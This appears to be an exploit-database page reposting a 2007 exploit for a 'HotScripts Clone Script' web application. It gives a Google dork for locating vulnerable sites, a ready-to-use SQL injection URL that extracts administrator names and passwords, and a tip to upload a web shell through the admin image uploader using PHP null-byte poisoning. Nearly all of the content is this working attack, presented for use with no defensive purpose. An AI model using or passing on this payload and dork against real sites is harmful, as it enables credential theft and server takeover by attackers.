[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

HotScripts Clone Script Remote SQL Injection Vulnerability

Author
t0pP8uZz
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2291
Category
web applications
Date add
18-11-2007
Platform
unsorted
==========================================================
HotScripts Clone Script Remote SQL Injection Vulnerability
==========================================================



--==+================================================================================+==--
--==+             HotScripts Clone Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK (google): "Software Categories" "Featured Resources" "Search"


DESCRIPTION:
Pull admin info from database, and maybe upload shell.


EXPLOITS:
www.site.com/software-description.php?id=-1/**/UNION/**/ALL/**/SELECT/**/concat(admin_name,char(58),pwd)/**/FROM/**/sbwmd_admin/*


NOTE/TIP:
admin login is at /siteadmin/
image upload /siteadmin/fileupload.php, its vulnerable to PHP Nullbyte posisoning. so upload shell.

i know this doesnt look like a HotScripts clone but it is.


--==+================================================================================+==--
--==+             HotScripts Clone Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--


#  0day.today [2024-12-27]  #